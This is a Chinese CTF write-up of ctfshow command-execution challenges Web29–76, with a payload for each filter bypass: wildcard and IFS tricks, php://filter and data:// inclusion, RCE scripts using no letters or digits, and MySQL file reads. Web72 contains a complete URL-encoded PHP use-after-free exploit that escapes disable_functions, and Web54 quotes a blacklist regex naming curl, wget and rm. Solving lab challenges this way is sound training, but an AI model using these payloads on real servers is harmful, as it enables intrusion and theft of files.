ctfshow-命令执行
Web29:
1 |
|
过滤了文件关键词,通配符绕过,cat f*,用system执行,发现没有成功读取,考虑使用tac倒序读取,得到flag。
总结,文件关键词过滤可以考虑使用通配符绕过。
Web30:
1 | error_reporting(0); |
过滤了system,并且用的屎eval函数。
这里先试试反斜杠绕过,似乎无法绕过。
那么就试着反引号绕过,echo `ls`; ,成功绕过,之后直接echo `tac fl*`;读取flag。
Web31:
1 | error_reporting(0); |
这里发现空格,单引号被过滤了,还有小数点,没有过滤反引号,直接反引号绕过,成功绕过system,cat被过滤就tac读取,空格用%0a或者%09绕过。
前置知识:
空格过滤:
1 | %09 符号需要php环境 |
cat过滤:
1 | more:一页一页的显示档案内容 |
Web32:
1 | error_reporting(0); |
过滤了system和反引号还有echo,这里看似挺严格的,但是print_r或者var_dump没有过滤,应该可以利用下,但是,system被过滤了,只有无回显RCE了,但是,过滤了左半边括号,这样就没法绕了,试一试不需要括号的语句:
1 |
|
可以配合文件包含来打伪协议,具体payload类似下面这样:
1 | include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php |
Web33:
1 |
|
多过滤了分号和双引号,反引号和空格等等依然被过滤了,这个时候似乎更难办了,还是打文件包含加伪协议来打:
1 | include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php |
Web34:
1 |
|
多过滤了一个冒号,方法同上:
1 | include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php |
这里解释一下,这里出现冒号依旧绕过了的原因是因为PHP把前面的include到?>的认为成一个get传参,另一个,也就是&url被认为是另一个传参,正则只检测第一个部分,第二个部分就不会检测了。
Web35:
1 |
|
小于符号也被过滤了,不过无伤大雅,依旧老样子,因为没有过滤>,所以依旧能用上面的payload打:
1 | include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php |
Web36:
1 |
|
这里连带着数字一起过滤了,无伤大雅,继续文件包含一把梭:
1 | include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php |
Web37:
1 |
|
文件包含过滤了flag,这个时候可以考虑include一个data伪协议输入的命令参数,具体如下:
data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
第一:使用通配符绕过flag:
?c=data://text/plain,
?c=data://text/plain,
第二:使用base64绕过flag:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
#base64解码为
<?php system('cat flag.php');?>
Web38:
1 |
|
相较于上一个题多过滤了一层php,使用base64绕过就行:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
或者,使用短标签绕过:
?c=data://text/plain,= system("tac fla?.???");?>
Web39:
1 | //flag in flag.php |
过滤了flag,但是文件包含里存在.php的后缀,好像无伤大雅,和上一题一样,短标签打。
/?c=data://text/plain,= system("tac fla?.???");?>
由于两端合在一起就类似于<?= system('tac fla*');?>.php
,.php因为已经被标签闭合在外面,所以不会被当作文件包含的后缀算进去,依旧能进行RCE。
Web40:
1 | if(isset($_GET['c'])){ |
过滤了数字,和各种符号,但是过滤似乎有点儿问题,没有过滤英文的括号,过滤成了中文的括号,所以,无参数RCE,可以一把梭:
1 | payload:?c=show_source(next(array_reverse(scandir(pos(localeconv()))))); |
前置知识:
1 | localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.) |
或者使用:
1 | 查看当前目录下文件 |
Web41:
1 | if(isset($_POST['c'])){ |
无字母数字RCE,并且因为过滤了$、+、-、^、~所以无法使用异或、自增和取反绕过,不过,听说网上还有另一个操作,就是利用管道符,也就是| 运算符,这里贴一下相关的文章:
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
这里给了两个代码:
1 |
|
还有python的:
1 | # -*- coding: utf-8 -*- |
另一个,贴一下羽神的脚本,这个感觉更好用。
1 |
|
1 | # -*- coding: utf-8 -*- |
Web42:
1 | if(isset($_GET['c'])){ |
对于这里的,可以参考下下面这篇文章: Shell脚本———— /dev/null 2>&1详解
这里如果只是想要解题的话,可以想办法让后面的不执行,或者前后分离开就行了,这里有如下几种方法:
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
Web43:
1 | if(isset($_GET['c'])){ |
对比上一题,多了一层过滤,多了一个cat和分号,老样子,同一个payload:
1 | ?c=tac fla* || |
再一次,贴一下可以绕过的方式:
1 | ?c=more flag.php|| |
Web44:
1 | if(isset($_GET['c'])){ |
多过滤了flag,通配符绕过:
1 | ?c=tac f* || |
Web45:
1 | if(isset($_GET['c'])){ |
过滤了空格,老样子,IFS绕过:
1 | c=tac${IFS}fla*|| |
Web46:
1 | if(isset($_GET['c'])){ |
过滤了空格和星号,星号直接用问号绕过,空格使用%09绕过:
1 | ?c=tac%09fla?.php|| #这里的%09不属于数字 |
过滤了空格:
1 | >` `<` `<>` 重定向符 |
Web47:
1 | if(isset($_GET['c'])){ |
过滤了除了tac以外的很大一部分读取文件的操作,flag也被过滤了,还有空格和星号,绕过方式和上一个一样:
c=tac%09fla?.php||
Web48:
1 | if(isset($_GET['c'])){ |
不是,怎么多了这么多不认识的命令?
不过无所谓,发现还是老样子,tac、管道符和问号没有被过滤,直接无脑冲:
c=tac%09fla?.php||
Web49:
1 | if(isset($_GET['c'])){ |
没有过滤tac,但是过滤了百分号,不过这里无伤大雅,因为%09不会被当作%,所以直接
?c=tac%09fla?.php||
Web50:
1 | if(isset($_GET['c'])){ |
丸辣,过滤了\x09,没法过了,那就使用<>来绕过,不过,<>和通配符?一起使用的时候不回显,所以用反斜杠绕过关键字flag:
?c=tac<>fla\g.php||
Web51:
1 | if(isset($_GET['c'])){ |
靠,tac被过滤了,不过无所谓,system函数在某些时候可以用反斜杠来分割关键字,直接一把梭:
?c=ta\c<>fla\g.php||
Web52:
1 | if(isset($_GET['c'])){ |
丸辣,这里过滤了大小于符号,不过,突然发现好像没有过滤掉$符号,很好,直接IFS绕过。
?c=ta\c${IFS}fla\g.php||
?c=ta\c${IFS}fl’’ag.php||
不过没有找到flag,flag会在哪里呢?在根目录找到了flag。
Web53:
1 | if(isset($_GET['c'])){ |
没啥说的,IFS绕过一把梭:
?c=ta\c${IFS}fla\g.php
Web54:
1 | if(isset($_GET['c'])){ |
这又是啥正则?ai的解释如下(部分正确,不可全信):
这行代码是使用PHP的
preg_match
函数来检查一个字符串(假设为变量$c
)是否包含一系列特定的模式或字符。这些模式通常与尝试绕过安全限制、注入恶意代码或执行不期望的命令有关。下面是对这个正则表达式中各个部分的解释:
\;
:查找分号(;
),这通常用于命令分隔,在某些情况下可能被用于尝试执行多条命令。.*c.*a.*t.*
:查找包含cat
的字符串,cat
是一个常用于Unix/Linux系统中查看文件内容的命令。.*f.*l.*a.*g.*
:查找包含flag
的字符串,这可能是在尝试获取某种“标志”或敏感信息。[0-9]
:查找空格后跟任何数字,这可能是在尝试绕过基于特定字符的限制。\*
:查找星号(*
),在某些上下文中,它可能用于通配符匹配或具有特殊意义。.*m.*o.*r.*e.*
、.*w.*g.*e.*t.*
、.*l.*e.*s.*s.*
等:这些模式分别查找包含more
、wget
、less
等命令的字符串,这些命令通常用于文件操作或数据传输。.*h.*e.*a.*d.*
、.*s.*o.*r.*t.*
、.*t.*a.*i.*l.*
等:查找包含head
、sort
、tail
等Unix/Linux命令的字符串,这些命令用于处理文本数据。.*s.*e.*d.*
、.*c.*u.*t.*
、.*t.*a.*c.*
等:查找包含sed
、cut
、tac
等命令的字符串,这些命令用于文本处理。.*a.*w.*k.*
:查找包含awk
的字符串,awk
是一个强大的文本处理工具。.*s.*t.*r.*i.*n.*g.*s.*
:查找包含strings
的字符串,strings
命令用于提取二进制文件中的可打印字符串。.*o.*d.*
:查找包含od
的字符串,od
(八进制转储)命令用于以八进制或其他格式转储文件内容。.*c.*u.*r.*l.*
:查找包含curl
的字符串,curl
是一个用于传输数据的命令行工具。.*n.*l.*
:可能意图查找包含nl
的字符串,但此模式较为宽泛,因为n
和l
是常见字母。.*s.*c.*p.*
:查找包含scp
的字符串,scp
是安全复制命令,用于在本地和远程之间安全地传输文件。.*r.*m.*
:查找包含rm
的字符串,rm
命令用于删除文件或目录。\
、%
、\x09
、\x26
、>
、<
:查找反引号(```)、百分号(%
)、制表符(\x09
)、&
符号的HTML实体(\x26
)、大于号(>
)、小于号(<
),这些字符或模式可能在尝试执行命令或注入代码时具有特殊意义。整个正则表达式使用了
i
修饰符,表示不区分大小写。如果preg_match
返回false
(即没有找到匹配项),则意味着字符串$c
不包含上述任何敏感模式或字符。这通常用于安全检查,以防止潜在的恶意输入。
这里直接用下面这个方式绕:
1 | ?c=grep${IFS}'{'${IFS}fl???php |
Web55:
1 | // 你们在炫技吗? |
终于到了新玩意儿了,无字母RCE,有几种方法:
查看源代码发现没有过滤数字,我们就想一想在我们查看文件的命令有没有数字开头的。
匹配到/bin目录下的命令
cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
发现存在一个base64
我们就可以通过通配符进行匹配命令执行查看flag.php
payload:
1 | ?c=/???/????64 ????.??? |
Web56:
1 | // 你们在炫技吗? |
还是system,不过这次多过滤了字母。用下面这个脚本去跑,不过原理不是很清楚,贴一个链接,有条件就去学习一下。
python脚本如下:
1 | import time |
另外还需要创建一个a.txt文件,里面的内容为cat flag.php
Web57:
1 | // 还能炫的动吗? |
这个似乎可以取反做:
在liunx中,$(())为0 , $((
$(())))为-1 ~$代表取反,0取反后为-1,这样就可以先构造出-37,取反后就为36,也就是$(())中有37个$(($(())))在加上取反,也就是$((~$(( ))))中有37个-1
先贴一个无字母数字RCE的总结:
可惜,做题的这个考点似乎这两篇文章里没有:
双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。 通俗地讲,就是将数学运算表达式放在((和))之间。 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。 可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。 可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。 注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。
1 | echo ${_} #返回上一次的执行结果` |
所以payload:
1 | ?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) |
可以用这个脚本生成简单的数字:
1 | num_1 = "$((~$(())))" |
Web58:
1 | // 你们在炫技吗? |
乍一看,好像很简单,不过,当我post了一个phpinfo之后,发现了函数被禁了:
1 | Warning: phpinfo() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1 |
建议直接fuzz一下,看看具体哪些被ban了,这里就直接show_source了:
c=show_source(‘flag.php’);
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
Web59:
1 | // 你们在炫技吗? |
具体不知道有些啥被ban了,只能一个个测,结果和上一题一样,show_source依旧过了:
c=show_source(“flag.php”);
Web60:
1 | 题目: |
一模一样,直接给paylaod:
c=show_source(“flag.php”);
Web61:
1 | // 你们在炫技吗? |
show_source百试不爽啊。
c=show_source(“flag.php”);
Web62:
1 | // 你们在炫技吗? |
c=show_source(“flag.php”);
Web63:
1 | // 你们在炫技吗? |
c=show_source(“flag.php”);
Web64:
1 | // 你们在炫技吗? |
c=show_source(“flag.php”);
Web65:
1 | // 你们在炫技吗? |
c=show_source(“flag.php”);
Web66:
1 | // 你们在炫技吗? |
show_source函数被ban了,highlight_file没有被ban,试试看,结果flag没有在flag.php里,通过如下payload发现flag在根目录下:
1 | c=print_r(scandir("/")); |
那就用highlight_file去读根目录:
Web67:
1 | // 你们在炫技吗? |
print_r被过滤了,试试看var_dump,没有被过滤,继续scandir去读目录结构。
1 | c=var_dump(scandir("/")); |
Web68:
由于 highlight_file() 被ban了,读不到源码,所以就直接开打了,先测一下var_dump,var_dump和scandir都没有被ban,直接读根目录,找到了flag.txt:
1 | c=var_dump(scandir("/")); |
之后就是其他手法了,根据txt文件,推测flag应该不会被当作php代码执行,所以试着使用文件包含等手法读flag:
1 | c=include("/flag.txt"); |
Web69:
ban了highlight_file、var_dump,那就用var_export,输出目录结构:
1 | c=var_export(scandir("/")); |
之后include包含/flag.txt文件即可得到flag。
Web70:
通过var_export读取文件目录结构,再用include 包含/flag.txt,和上面几个题没有任何区别。
Web71:
附件里给了源码:
1 |
|
有几个点需要注意:
1 | $s = ob_get_contents();//得到缓冲区的数据。 |
也就是说,这里需要在执行上面两个函数之前,把程序输出出来就行了,这个时候,就可以选择提前结束掉整个程序,因为缓冲区就是在程序结束之前需要将里面的所有内容全部输出才行:
1 | c=var_export(scandir('/'));exit(); |
之后就
1 | c=include("/flag.txt");exit(); |
Web72:
1 |
|
scandir被禁了,这里没什么思路,不过,这里有大佬通过glob伪协议读取了根目录文件名:
1 | c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f." " ;}exit(); |
通过include读取文件的时候发现没有权限,先列一些读取文件的函数吧:
1 | readfile($filename); |
之后就是利用uaf脚本进行命令执行了:
1 | c= |
直接贴一个payload:
1 | c=%3f%3e%3c%3fphp%0apwn(%22ls+%2f%3bcat+%2fflag0.txt%22)%3b%0a%0afunction+pwn(%24cmd)+%7b%0a++++global+%24abc%2c+%24helper%2c+%24backtrace%3b%0a++++class+Vuln+%7b%0a++++++++public+%24a%3b%0a++++++++public+function+__destruct()+%7b+%0a++++++++++++global+%24backtrace%3b+%0a++++++++++++unset(%24this-%3ea)%3b%0a++++++++++++%24backtrace+%3d+(new+Exception)-%3egetTrace()%3b+%23+%3b)%0a++++++++++++if(!isset(%24backtrace%5b1%5d%5b%27args%27%5d))+%7b+%23+PHP+%3e%3d+7.4%0a++++++++++++++++%24backtrace+%3d+debug_backtrace()%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++class+Helper+%7b%0a++++++++public+%24a%2c+%24b%2c+%24c%2c+%24d%3b%0a++++%7d%0a%0a++++function+str2ptr(%26%24str%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++%24address+%3d+0%3b%0a++++++++for(%24j+%3d+%24s-1%3b+%24j+%3e%3d+0%3b+%24j--)+%7b%0a++++++++++++%24address+%3c%3c%3d+8%3b%0a++++++++++++%24address+%7c%3d+ord(%24str%5b%24p%2b%24j%5d)%3b%0a++++++++%7d%0a++++++++return+%24address%3b%0a++++%7d%0a%0a++++function+ptr2str(%24ptr%2c+%24m+%3d+8)+%7b%0a++++++++%24out+%3d+%22%22%3b%0a++++++++for+(%24i%3d0%3b+%24i+%3c+%24m%3b+%24i%2b%2b)+%7b%0a++++++++++++%24out+.%3d+sprintf(%27%25c%27%2c%24ptr+%26+0xff)%3b%0a++++++++++++%24ptr+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++++++return+%24out%3b%0a++++%7d%0a%0a++++function+write(%26%24str%2c+%24p%2c+%24v%2c+%24n+%3d+8)+%7b%0a++++++++%24i+%3d+0%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24n%3b+%24i%2b%2b)+%7b%0a++++++++++++%24str%5b%24p+%2b+%24i%5d+%3d+sprintf(%27%25c%27%2c%24v+%26+0xff)%3b%0a++++++++++++%24v+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+leak(%24addr%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++global+%24abc%2c+%24helper%3b%0a++++++++write(%24abc%2c+0x68%2c+%24addr+%2b+%24p+-+0x10)%3b%0a++++++++%24leak+%3d+strlen(%24helper-%3ea)%3b%0a++++++++if(%24s+!%3d+8)+%7b+%24leak+%25%3d+2+%3c%3c+(%24s+*+8)+-+1%3b+%7d%0a++++++++return+%24leak%3b%0a++++%7d%0a%0a++++function+parse_elf(%24base)+%7b%0a++++++++%24e_type+%3d+leak(%24base%2c+0x10%2c+2)%3b%0a%0a++++++++%24e_phoff+%3d+leak(%24base%2c+0x20)%3b%0a++++++++%24e_phentsize+%3d+leak(%24base%2c+0x36%2c+2)%3b%0a++++++++%24e_phnum+%3d+leak(%24base%2c+0x38%2c+2)%3b%0a%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24e_phnum%3b+%24i%2b%2b)+%7b%0a++++++++++++%24header+%3d+%24base+%2b+%24e_phoff+%2b+%24i+*+%24e_phentsize%3b%0a++++++++++++%24p_type++%3d+leak(%24header%2c+0%2c+4)%3b%0a++++++++++++%24p_flags+%3d+leak(%24header%2c+4%2c+4)%3b%0a++++++++++++%24p_vaddr+%3d+leak(%24header%2c+0x10)%3b%0a++++++++++++%24p_memsz+%3d+leak(%24header%2c+0x28)%3b%0a%0a++++++++++++if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+6)+%7b+%23+PT_LOAD%2c+PF_Read_Write%0a++++++++++++++++%23+handle+pie%0a++++++++++++++++%24data_addr+%3d+%24e_type+%3d%3d+2+%3f+%24p_vaddr+%3a+%24base+%2b+%24p_vaddr%3b%0a++++++++++++++++%24data_size+%3d+%24p_memsz%3b%0a++++++++++++%7d+else+if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+5)+%7b+%23+PT_LOAD%2c+PF_Read_exec%0a++++++++++++++++%24text_size+%3d+%24p_memsz%3b%0a++++++++++++%7d%0a++++++++%7d%0a%0a++++++++if(!%24data_addr+%7c%7c+!%24text_size+%7c%7c+!%24data_size)%0a++++++++++++return+false%3b%0a%0a++++++++return+%5b%24data_addr%2c+%24text_size%2c+%24data_size%5d%3b%0a++++%7d%0a%0a++++function+get_basic_funcs(%24base%2c+%24elf)+%7b%0a++++++++list(%24data_addr%2c+%24text_size%2c+%24data_size)+%3d+%24elf%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24data_size+%2f+8%3b+%24i%2b%2b)+%7b%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+%24i+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27constant%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x746e6174736e6f63)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+(%24i+%2b+4)+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27bin2hex%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x786568326e6962)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++return+%24data_addr+%2b+%24i+*+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_binary_base(%24binary_leak)+%7b%0a++++++++%24base+%3d+0%3b%0a++++++++%24start+%3d+%24binary_leak+%26+0xfffffffffffff000%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+0x1000%3b+%24i%2b%2b)+%7b%0a++++++++++++%24addr+%3d+%24start+-+0x1000+*+%24i%3b%0a++++++++++++%24leak+%3d+leak(%24addr%2c+0%2c+7)%3b%0a++++++++++++if(%24leak+%3d%3d+0x10102464c457f)+%7b+%23+ELF+header%0a++++++++++++++++return+%24addr%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_system(%24basic_funcs)+%7b%0a++++++++%24addr+%3d+%24basic_funcs%3b%0a++++++++do+%7b%0a++++++++++++%24f_entry+%3d+leak(%24addr)%3b%0a++++++++++++%24f_name+%3d+leak(%24f_entry%2c+0%2c+6)%3b%0a%0a++++++++++++if(%24f_name+%3d%3d+0x6d6574737973)+%7b+%23+system%0a++++++++++++++++return+leak(%24addr+%2b+8)%3b%0a++++++++++++%7d%0a++++++++++++%24addr+%2b%3d+0x20%3b%0a++++++++%7d+while(%24f_entry+!%3d+0)%3b%0a++++++++return+false%3b%0a++++%7d%0a%0a++++function+trigger_uaf(%24arg)+%7b%0a++++++++%23+str_shuffle+prevents+opcache+string+interning%0a++++++++%24arg+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a++++++++%24vuln+%3d+new+Vuln()%3b%0a++++++++%24vuln-%3ea+%3d+%24arg%3b%0a++++%7d%0a%0a++++if(stristr(PHP_OS%2c+%27WIN%27))+%7b%0a++++++++die(%27This+PoC+is+for+*nix+systems+only.%27)%3b%0a++++%7d%0a%0a++++%24n_alloc+%3d+10%3b+%23+increase+this+value+if+UAF+fails%0a++++%24contiguous+%3d+%5b%5d%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+%24n_alloc%3b+%24i%2b%2b)%0a++++++++%24contiguous%5b%5d+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a%0a++++trigger_uaf(%27x%27)%3b%0a++++%24abc+%3d+%24backtrace%5b1%5d%5b%27args%27%5d%5b0%5d%3b%0a%0a++++%24helper+%3d+new+Helper%3b%0a++++%24helper-%3eb+%3d+function+(%24x)+%7b+%7d%3b%0a%0a++++if(strlen(%24abc)+%3d%3d+79+%7c%7c+strlen(%24abc)+%3d%3d+0)+%7b%0a++++++++die(%22UAF+failed%22)%3b%0a++++%7d%0a%0a++++%23+leaks%0a++++%24closure_handlers+%3d+str2ptr(%24abc%2c+0)%3b%0a++++%24php_heap+%3d+str2ptr(%24abc%2c+0x58)%3b%0a++++%24abc_addr+%3d+%24php_heap+-+0xc8%3b%0a%0a++++%23+fake+value%0a++++write(%24abc%2c+0x60%2c+2)%3b%0a++++write(%24abc%2c+0x70%2c+6)%3b%0a%0a++++%23+fake+reference%0a++++write(%24abc%2c+0x10%2c+%24abc_addr+%2b+0x60)%3b%0a++++write(%24abc%2c+0x18%2c+0xa)%3b%0a%0a++++%24closure_obj+%3d+str2ptr(%24abc%2c+0x20)%3b%0a%0a++++%24binary_leak+%3d+leak(%24closure_handlers%2c+8)%3b%0a++++if(!(%24base+%3d+get_binary_base(%24binary_leak)))+%7b%0a++++++++die(%22Couldn%27t+determine+binary+base+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24elf+%3d+parse_elf(%24base)))+%7b%0a++++++++die(%22Couldn%27t+parse+ELF+header%22)%3b%0a++++%7d%0a%0a++++if(!(%24basic_funcs+%3d+get_basic_funcs(%24base%2c+%24elf)))+%7b%0a++++++++die(%22Couldn%27t+get+basic_functions+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24zif_system+%3d+get_system(%24basic_funcs)))+%7b%0a++++++++die(%22Couldn%27t+get+zif_system+address%22)%3b%0a++++%7d%0a%0a++++%23+fake+closure+object%0a++++%24fake_obj_offset+%3d+0xd0%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+0x110%3b+%24i+%2b%3d+8)+%7b%0a++++++++write(%24abc%2c+%24fake_obj_offset+%2b+%24i%2c+leak(%24closure_obj%2c+%24i))%3b%0a++++%7d%0a%0a++++%23+pwn%0a++++write(%24abc%2c+0x20%2c+%24abc_addr+%2b+%24fake_obj_offset)%3b%0a++++write(%24abc%2c+0xd0+%2b+0x38%2c+1%2c+4)%3b+%23+internal+func+type%0a++++write(%24abc%2c+0xd0+%2b+0x68%2c+%24zif_system)%3b+%23+internal+func+handler%0a%0a++++(%24helper-%3eb)(%24cmd)%3b%0a++++exit()%3b%0a%7d |
Web73:
又是,没源码,那就glob遍历文件目录吧,当然var_export也可以做到这里没有被ban:
1 | c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f." " ;}exit(); |
突然发现include读取文件又可以了,直接读:
1 | c=indlude("/flagc.txt");exit(); |
Web74:
这一题ban了scandir,那就直接glob绕过:
1 | c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f." " ;}exit(); |
之后include去读。
Web75:
glob读根目录结构:
1 | c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f." " ;}exit(); |
多次测试,发现无法读取文件,可以试着利用mysql去读取文件:
1 | c=try { |
简单解释一下这个payload:
1 | try { |
Web76:
还是glob读文件:
1 | c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f." " ;}exit(); |
还是老样子,MySQL读文件一把梭:
1 | c=try { |